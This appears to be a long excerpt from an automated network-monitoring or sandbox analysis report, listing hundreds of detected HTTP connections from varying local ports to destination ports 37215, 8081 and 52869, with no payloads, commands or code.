Source: unknown	Network traffic detected: HTTP traffic on port 39322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33608 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43078 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40664 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60368 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57784 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47182 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39360 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39818 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54064 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37994 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38086 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53538 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38386 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51014 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56376 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43562 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35646 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35338 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42722 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51456 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33180 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35360 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43834 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37466 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34298 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38268 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47008 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38432 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37736 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58180 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57000 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46960 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53442 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54362 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48984 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40416 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42572 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43586 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49106 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56836 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55372 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39636 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35980 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60958 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59574 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59802 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57098 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45800 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39702 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35104 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40082 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60608 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46290 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44512 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44656 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48228 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56330 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46780 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49266 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43370 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42300 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59952 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39688 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55666 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59190 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36130 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35258 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52074 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57798 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35076 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42780 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39392 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36872 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41800 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50664 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50706 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35690 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54244 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37410 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48192 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54826 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41446 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42942 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36922 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58482 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60428 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36188 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36422 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56016 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44796 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60122 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48442 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58112 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42474 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60074 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42144 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44908 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49228 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56440 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33486 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42198 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41722 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58832 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40860 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51806 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47190 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55980 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39528 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43194 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47680 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58172 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43270 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60056 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39438 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40944 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52408 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52910 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39676 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35582 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59228 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55698 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55086 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52344 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36802 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54468 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35016 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44876 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35468 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54754 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54678 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48590 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40214 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34450 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38814 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48204 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59558 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45482 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41808 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37840 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44888 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53184 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54540 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47020 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43308 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38186 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52134 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37840 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44888 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37400 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45114 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53184 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54540 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40044 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47020 -> 52869
